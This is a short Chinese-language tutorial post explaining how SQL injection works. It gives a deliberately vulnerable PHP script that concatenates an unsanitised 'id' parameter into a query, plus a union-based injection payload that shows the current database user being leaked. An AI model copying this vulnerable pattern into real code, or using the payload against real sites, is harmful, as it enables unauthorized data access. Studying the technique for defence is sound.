SQL注入-原理
2018-01-11 22:33
225 查看
1.原理
由于过滤不严格,传入SQL语句中的可控参数经过构造,修改了SQL语句本身的结构,最后该语句被解析执行,造成信息泄露,被修改,被删除等后果,更甚造成服务器被掌控。php测试代码
<?php error_reporting(0); $id = $_GET['id']; $con = mysql_connect('localhost','root','root'); if(!$con){ die('mysql connect failed'); } mysql_select_db('test',$con) or die('failed to connect db'); $sql = "SELECT * FROM users WHERE id='{$id}'"; $result = mysql_query($sql); if ($row = mysql_fetch_array($result)) { echo "id:".$row[0]; echo "<br>"; echo "name:".$row[1]; }else{ echo mysql_error(); } mysql_close($con); ?>
2.测试实例
传入正常的id值?id=1
此时的SQL语句为
select * from users where id='1';
页面返回正常的业务结果
如果对可控参数id进行构造
?id=-1' union select 1,(user())--+
此时的SQL语句为
select * from users where id='-1' union select 1,(user())--'
页面返回了当前数据库的用户